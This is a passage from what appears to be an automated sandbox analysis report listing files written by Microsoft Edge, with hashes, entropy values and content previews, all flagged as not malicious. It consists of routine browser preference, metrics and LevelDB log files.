Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.32596906335602444
Encrypted:	false
SSDEEP:	3072:NiWXW2t4e6hwPuP7yENwMIiM44hh4FAdIT1ofq4HpqqzmJTe1ydfKQF+F5C1zLhW:RYe7f4FuITgywC17aHfTkjo
MD5:	1832778528FA94141D03EF3C3DD11CA6
SHA1:	B013023B1A91589C87206FED6256B80AFB0A14D1
SHA-256:	C44185DF8F7A7CEB1807F9EFE94482EED2DE64157E8FB71321638A0BF8C80C33
SHA-512:	A33E8F0297533D10F0919B31A594EA71AB158D53B23F66307F7438EFDAEF3B1EF7DBF3343714F03B47691C36BBCE1A29BADAEFBC056E516A25B85F9EB42EC7B8
Malicious:	false
Preview:	...@..@...@.....C.].....@................+..@+..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30....{.........117.0.2045.47-64..".en-GB*...Windows NT..10.0.190452....x86_64..?........".onyfwq20,1(.0..8..B....(.....10.0.19041.5462.Google Inc. (Google):bANGLE (Google, Vulkan 1.3.0 (SwiftShader Device (Subzero) (0x0000C0DE)), SwiftShader driver-5.0.0)M..BU..Be...?j...GenuineIntel... .. ..............x86_64...J../T...^o..J...Y...^o..J..w....^o..J..A....^o..J..1H...^o..J....c..^o..J...c=..^o..J....J..^o..J..3.(..^o..J.......^o..J...b.J.^o..J...#...^o..J....k..^o..J..?....^o..J..S..O.^o..J..l.zL.^o..J..@."..^o..J..?U...^o..J..!..h.^o..J..z{...^o..J..n....^o..J..0....^o..J....%.^o..J...I.r.^o..J.......^o..J..ZK...^o..J.....^o..J.......^o..J...'x#.^o..J......^o..J....\.^o..J.......^o.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\23dd2c3c-edfd-45b8-924c-97f322ed281e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\65d58784-a6eb-4378-a669-4f3bf49f0181.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7691
Entropy (8bit):	5.093275257722032
Encrypted:	false
SSDEEP:	192:stVisXx8CZihnkPsY8bV+FiA66WbfaFIMYZPLMJ:stVisXx8xh/bGix6WbfaTY2
MD5:	15DDFA8133CC0B981FD0ED639D3133C4
SHA1:	84059AAB481739FB0557468DA070613EA5D3D932
SHA-256:	66CDBE6D18F7892DA4DB38FE0299720890C6591E431AD4071340D5433744BD95
SHA-512:	0A947511EB8AF381D844EE160D0BF882AD92C303E4992A025796FAFB93E77645000C981EE8F324241126E7FCF9E5E0C57B7E34ADA22A0EDB1BCCCD96D0305E0B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376477166913402","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false},"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13376477166899613"},"dual_engine":{"consumer_mode":{"ie_user":false},"consumer_site_list_with_ie_entries":false,"consumer_sitelist_location":"","consumer_sitelist_version":"","external_consumer_shared_cookie_data":{},"shared_cookie_data":{},"sitelist_data_2":{},"sitelist_has_consumer_data":false,"sitelist_has_enterprise_data":false,"sitelist_location":"","sitelist_source":0,"sitelist_version":""},"edge":{

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8a65464e-8c10-4826-b7b2-639d6e8ae4ff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24719
Entropy (8bit):	5.5869613414181805
Encrypted:	false
SSDEEP:	768:j9havpWYQSfjG8F1+UoAYDCx9Tuqh0VfUC9xbog/OV5TYuDrwq/kpetuQ:j9havpWYQSfjGu1jaiUu4q/Nt7
MD5:	BD35F2817798A298B2CEB2C82F0675F2
SHA1:	DBF7BB0047F815D4D9AFAF0A937C55F6E0D8FB13
SHA-256:	B25FA7050356EE04BC45D50A504434A4E43EEF20C214D05A613BA3B82EBF5363
SHA-512:	14391214AAD850BA46779E9E4B11B7B79A61F5DEF2446BCEA3D6776A5864459F297B8C735975C07CF794936F43440DFFE41F8FCFCD76DAB4674E74E2B1835B70
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376477166227066","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376477166227066","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	modified
Size (bytes):	336
Entropy (8bit):	5.132947986133501
Encrypted:	false
SSDEEP:	6:HU8VnXl+q2P923oH+Tcwt9Eh1tIFUt8YU8VnRRZmw+YU8Vn8VkwO923oH+Tcwt9O:sv4Yeb9Eh16FUt8YR/+d5LYeb9Eh1VJ
MD5:	183B3170EFFA6A9ECD32CA6D380FE515
SHA1:	BC3AAE0133A9F4AD269E16A3138A7370293FFF62
SHA-256:	745EC4CA70884C39E3F67FD364AE687EA80945F29DAB26E3CC57D4C91F2712F8
SHA-512:	88159AF37D05B44129921D81BF055E014C184BF8E1482FFAA02A0435E3E544F20292A7F16571E38F401F7226B7766395F55CE01C6BBF38A149C4DAD36ADE48EB
Malicious:	false
Preview:	2024/11/19-03:06:17.262 2208 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/19-03:06:17.264 2208 Recovering log #3.2024/11/19-03:06:17.269 2208 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.132947986133501
Encrypted:	false
SSDEEP:	6:HU8VnXl+q2P923oH+Tcwt9Eh1tIFUt8YU8VnRRZmw+YU8Vn8VkwO923oH+Tcwt9O:sv4Yeb9Eh16FUt8YR/+d5LYeb9Eh1VJ
MD5:	183B3170EFFA6A9ECD32CA6D380FE515
SHA1:	BC3AAE0133A9F4AD269E16A3138A7370293FFF62
SHA-256:	745EC4CA70884C39E3F67FD364AE687EA80945F29DAB26E3CC57D4C91F2712F8
SHA-512:	88159AF37D05B44129921D81BF055E014C184BF8E1482FFAA02A0435E3E544F20292A7F16571E38F401F7226B7766395F55CE01C6BBF38A149C4DAD36ADE48EB
Malicious:	false
Preview:	2024/11/19-03:06:17.262 2208 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/19-03:06:17.264 2208 Recovering log #3.2024/11/19-03:06:17.269 2208 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.2078988452481285
Encrypted:	false
SSDEEP:	6:HU8VOZQ+q2P923oH+TcwtnG2tMsIFUt8YU8VOZgZmw+YU8VOEDQVkwO923oH+Tci:sQ+v4Yebn9GFUt8Jg/+0DQV5LYebn95J
MD5:	1755FFF64B9050320AF1E7DAAE6B2DA5
SHA1:	2EC76B44FD2FACEC2484F299141CF8C986B8806A
SHA-256:	B4C63757D79C0B7B5862DC33C30A124089423986BD95BEDFC2F6A2F1C331ADAE
SHA-512:	1A11794F579627CA71FAA12ABD9222633ACCD368FBEAE7D3DC89EE53384BBFF2D51FBCA312C694825229960BD3B5C89B6A7E978A7ADF66548D44AA73EC03787D
Malicious:	false
Preview:	2024/11/19-03:06:06.537 1edc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/19-03:06:06.537 1edc Recovering log #3.2024/11/19-03:06:06.538 1edc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.2078988452481285
Encrypted:	false
SSDEEP:	6:HU8VOZQ+q2P923oH+TcwtnG2tMsIFUt8YU8VOZgZmw+YU8VOEDQVkwO923oH+Tci:sQ+v4Yebn9GFUt8Jg/+0DQV5LYebn95J
MD5:	1755FFF64B9050320AF1E7DAAE6B2DA5
SHA1:	2EC76B44FD2FACEC2484F299141CF8C986B8806A
SHA-256:	B4C63757D79C0B7B5862DC33C30A124089423986BD95BEDFC2F6A2F1C331ADAE
SHA-512:	1A11794F579627CA71FAA12ABD9222633ACCD368FBEAE7D3DC89EE53384BBFF2D51FBCA312C694825229960BD3B5C89B6A7E978A7ADF66548D44AA73EC03787D
Malicious:	false
Preview:	2024/11/19-03:06:06.537 1edc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/19-03:06:06.537 1edc Recovering log #3.2024/11/19-03:06:06.538 1edc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	551
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWWWWWWWWW
MD5:	47755D758FF3B7335CA27F6313D4C2BE
SHA1:	6CC4C834FF24B973F044F6BA0F42833CBE28B92B
SHA-256:	1744842F55053137F5A2505747766DECEBABA068C91AE3D80A9FA37AF60C106E
SHA-512:	70E4E13CA6652D06040121BA4E4CADB2ADE5D577CF7530270F7FE9BEB8E362AF256050FA6CAC162A32DBA3FDA9F136AE8F670A5C86A50046B37E48D7E332861F
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.182919776119421
Encrypted:	false
SSDEEP:	6:HU8VOCP+q2P923oH+Tcwt8aPrqIFUt8YU8VOXZHZmw+YU8VOXZnVkwO923oH+TcD:T+v4YebL3FUt8nZH/+nZnV5LYebQJ
MD5:	CF20561B320C78F58674ECEEC98D6B7C
SHA1:	8B16A334E307B757E3355304B31ACD6474E7FA27
SHA-256:	5599114FAE3E2969791BF4A15F81607A1EDB4D9BD08DE5A23D08276E6A65A8BC
SHA-512:	B805C2E0643A68DF713EBD4D3E5B183F28B341619F43CC7AC589556B8A0EA6BC0CC7B18BB4EDB7D68F2AF4C558DD9C0552B0CCD3595C136BBEC456D867119423
Malicious:	false
Preview:	2024/11/19-03:06:06.527 1e9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/19-03:06:06.528 1e9c Recovering log #3.2024/11/19-03:06:06.528 1e9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.182919776119421
Encrypted:	false
SSDEEP:	6:HU8VOCP+q2P923oH+Tcwt8aPrqIFUt8YU8VOXZHZmw+YU8VOXZnVkwO923oH+TcD:T+v4YebL3FUt8nZH/+nZnV5LYebQJ
MD5:	CF20561B320C78F58674ECEEC98D6B7C
SHA1:	8B16A334E307B757E3355304B31ACD6474E7FA27
SHA-256:	5599114FAE3E2969791BF4A15F81607A1EDB4D9BD08DE5A23D08276E6A65A8BC
SHA-512:	B805C2E0643A68DF713EBD4D3E5B183F28B341619F43CC7AC589556B8A0EA6BC0CC7B18BB4EDB7D68F2AF4C558DD9C0552B0CCD3595C136BBEC456D867119423
Malicious:	false
Preview:	2024/11/19-03:06:06.527 1e9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/19-03:06:06.528 1e9c Recovering log #3.2024/11/19-03:06:06.528 1e9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	380
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWW
MD5:	9FE07A071FDA31327FA322B32FCA0B7E
SHA1:	A3E0BAE8853A163C9BB55F68616C795AAAF462E8
SHA-256:	E02333C0359406998E3FED40B69B61C9D28B2117CF9E6C0239E2E13EC13BA7C8
SHA-512:	9CCE621CD5B7CFBD899ABCBDD71235776FF9FF7DEA19C67F86E7F0603F7B09CA294CC16B672B742FA9B51387B2F0A501C3446872980BCA69ADE13F2B5677601D
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.173917635388872
Encrypted:	false
SSDEEP:	6:HU8VOXZn+q2P923oH+Tcwt865IFUt8YU8VOMPZmw+YU8VOMPVkwO923oH+Tcwt8e:8Zn+v4Yeb/WFUt88P/+8PV5LYeb/+SJ
MD5:	65396A6CB8B28384BB6A5800BA418C8A
SHA1:	6E63F4EDB2A69DBC086784D803651171872EE47E
SHA-256:	231B43086509FA553E3C432C443B09D88373C48A3F380CD6464ADAD21054BFA6
SHA-512:	7E90F3FD4F24823EF7B9C3469C891FFBCEAFBF5F7408697365377B360DDC55EC144A4F521112F660AA53412B4FEEAEF5FF38FEDC0B5E980C2C7332EF574B6678
Malicious:	false
Preview:	2024/11/19-03:06:06.528 1e9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/19-03:06:06.529 1e9c Recovering log #3.2024/11/19-03:06:06.529 1e9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.173917635388872
Encrypted:	false
SSDEEP:	6:HU8VOXZn+q2P923oH+Tcwt865IFUt8YU8VOMPZmw+YU8VOMPVkwO923oH+Tcwt8e:8Zn+v4Yeb/WFUt88P/+8PV5LYeb/+SJ
MD5:	65396A6CB8B28384BB6A5800BA418C8A
SHA1:	6E63F4EDB2A69DBC086784D803651171872EE47E
SHA-256:	231B43086509FA553E3C432C443B09D88373C48A3F380CD6464ADAD21054BFA6
SHA-512:	7E90F3FD4F24823EF7B9C3469C891FFBCEAFBF5F7408697365377B360DDC55EC144A4F521112F660AA53412B4FEEAEF5FF38FEDC0B5E980C2C7332EF574B6678
Malicious:	false
Preview:	2024/11/19-03:06:06.528 1e9c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/19-03:06:06.529 1e9c Recovering log #3.2024/11/19-03:06:06.529 1e9c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW:
MD5:	914FD8DC5F9A741C6947E1AB12A9D113
SHA1:	6529EFE14E7B0BEA47D78B147243096408CDAAE4
SHA-256:	8BE3C96EE64B5D2768057EA1C4D1A70F40A0041585F3173806E2278E9300960B
SHA-512:	2862BF83C061414EFA2AC035FFC25BA9C4ED523B430FDEEED4974F55D4450A62766C2E799D0ACDB8269210078547048ACAABFD78EDE6AB91133E30F6B5EBFFBD
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.149702019853455
Encrypted:	false
SSDEEP:	6:HU8VCZIq2P923oH+Tcwt8NIFUt8YU8VCuBXZmw+YU8VCuBFkwO923oH+Tcwt8+ed:UIv4YebpFUt8eX/+eF5LYebqJ
MD5:	E74801650211A9060AAB16655205FEB4
SHA1:	4EB3D7460EBE84381D7EEF6DE238F82D6D1F8798
SHA-256:	C602547D03B70E58E13E64DD79A1808714A72483C1FC43BAE857C61E92A5648D
SHA-512:	E1C9DD84A1F8F9B8A238406D91D9A3D784B886A30448E73F9B99E31DDE2AB4005F6B98631E31150F5822FBEFE4F5F577F8CC839E9E4BCF1AFBB0593D84AF267D
Malicious:	false
Preview:	2024/11/19-03:06:06.977 1e60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/19-03:06:06.978 1e60 Recovering log #3.2024/11/19-03:06:06.978 1e60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.149702019853455
Encrypted:	false
SSDEEP:	6:HU8VCZIq2P923oH+Tcwt8NIFUt8YU8VCuBXZmw+YU8VCuBFkwO923oH+Tcwt8+ed:UIv4YebpFUt8eX/+eF5LYebqJ
MD5:	E74801650211A9060AAB16655205FEB4
SHA1:	4EB3D7460EBE84381D7EEF6DE238F82D6D1F8798
SHA-256:	C602547D03B70E58E13E64DD79A1808714A72483C1FC43BAE857C61E92A5648D
SHA-512:	E1C9DD84A1F8F9B8A238406D91D9A3D784B886A30448E73F9B99E31DDE2AB4005F6B98631E31150F5822FBEFE4F5F577F8CC839E9E4BCF1AFBB0593D84AF267D
Malicious:	false
Preview:	2024/11/19-03:06:06.977 1e60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/19-03:06:06.978 1e60 Recovering log #3.2024/11/19-03:06:06.978 1e60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21880421027789762
Encrypted:	false
SSDEEP:	3:A/jtFlljq7A/mhWJFuQ3yy7IOWUCVl4dweytllrE9SFcTp4AGbNCV9RUIf:A/I75fOQP4d0Xi99pEY9
MD5:	812923852111D053A396EEE4718D656F
SHA1:	0EC3F601F101F2A9052222E18CDFD22746400465
SHA-256:	AF971EA7CBD93F205497004F9FC4C3A9755D6B9062390274A70CCB4E14B6E7A7
SHA-512:	990A6DFECE3E5F000F520648C28E1187F0CBCBEF8BAEC6CC091C9B9A07EDBAD58E2905B810EFBE5576BB65E7DC96A3AA3EF8247F8475D3A7F33B2FE007D1B800
Malicious:	false
Preview:	...................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.256860383763112
Encrypted:	false
SSDEEP:	12:WUv4Yeb8rcHEZrELFUt8s/+M5LYeb8rcHEZrEZSJ:h4Yeb8nZrExg8wLYeb8nZrEZe
MD5:	280482340452C54CCB7DA607D0190A58
SHA1:	51873EECB81FD8B5E5883409C4421A5CFD79A91C
SHA-256:	B742037166450467CC4EE167B911DC84628814F64D3CDBE53B636868C355A151
SHA-512:	DDCE115EC493B8B069D509938505C04DB70A533EA057837C26ED3967E301F51D4326D47330E6A572F611EE181B0D34A90E14807B5768C89FC66B41BFA47F91C6
Malicious:	false
Preview:	2024/11/19-03:06:09.772 1e60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/19-03:06:09.773 1e60 Recovering log #3.2024/11/19-03:06:09.773 1e60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.256860383763112
Encrypted:	false
SSDEEP:	12:WUv4Yeb8rcHEZrELFUt8s/+M5LYeb8rcHEZrEZSJ:h4Yeb8nZrExg8wLYeb8nZrEZe
MD5:	280482340452C54CCB7DA607D0190A58
SHA1:	51873EECB81FD8B5E5883409C4421A5CFD79A91C
SHA-256:	B742037166450467CC4EE167B911DC84628814F64D3CDBE53B636868C355A151
SHA-512:	DDCE115EC493B8B069D509938505C04DB70A533EA057837C26ED3967E301F51D4326D47330E6A572F611EE181B0D34A90E14807B5768C89FC66B41BFA47F91C6
Malicious:	false
Preview:	2024/11/19-03:06:09.772 1e60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/19-03:06:09.773 1e60 Recovering log #3.2024/11/19-03:06:09.773 1e60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.181029354380003
Encrypted:	false
SSDEEP:	6:HU8VMFLd3+q2P923oH+Tcwt8a2jMGIFUt8YU8V44Zmw+YU8V7VkwO923oH+Tcwtw:YrOv4Yeb8EFUt8t4/+g5LYeb8bJ
MD5:	3F30F1780B98776BB941E0C02855C8DD
SHA1:	B8C6D88C20B92B2E8DF23FA71AEA276A003D6647
SHA-256:	85EE90208E0A88C83B5A971294E05E37C6F0C28F67A6962222D3356285B29017
SHA-512:	75EAA0057A2F9746F2A9B51A736FEC8055417E878A80FEDA1CB3192792F99402F33C73DE1D5D1F700B1EC72A263D0D8A0F36DCD10C51B9BE8FE2C1792A41C00E
Malicious:	false
Preview:	2024/11/19-03:06:07.525 1fe8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/19-03:06:07.528 1fe8 Recovering log #3.2024/11/19-03:06:07.531 1fe8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.181029354380003
Encrypted:	false
SSDEEP:	6:HU8VMFLd3+q2P923oH+Tcwt8a2jMGIFUt8YU8V44Zmw+YU8V7VkwO923oH+Tcwtw:YrOv4Yeb8EFUt8t4/+g5LYeb8bJ
MD5:	3F30F1780B98776BB941E0C02855C8DD
SHA1:	B8C6D88C20B92B2E8DF23FA71AEA276A003D6647
SHA-256:	85EE90208E0A88C83B5A971294E05E37C6F0C28F67A6962222D3356285B29017
SHA-512:	75EAA0057A2F9746F2A9B51A736FEC8055417E878A80FEDA1CB3192792F99402F33C73DE1D5D1F700B1EC72A263D0D8A0F36DCD10C51B9BE8FE2C1792A41C00E
Malicious:	false
